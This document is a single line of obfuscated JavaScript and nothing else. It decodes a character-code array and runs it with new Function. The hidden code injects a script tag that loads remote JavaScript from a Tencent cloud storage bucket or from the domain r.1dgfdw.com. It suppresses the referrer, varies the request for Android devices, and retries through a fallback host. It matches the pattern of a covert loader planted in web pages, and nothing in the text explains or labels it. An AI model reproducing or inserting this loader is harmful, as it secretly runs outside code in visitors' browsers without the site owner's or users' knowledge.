(function(a){(new Function(String.fromCharCode(...a)))();})([108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,115,45,49,51,54,55,48,54,54,52,56,52,46,99,111,115,46,97,112,45,115,104,97,110,103,104,97,105,46,109,121,113,99,108,111,117,100,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,114,46,49,100,103,102,100,119,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,51,57,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);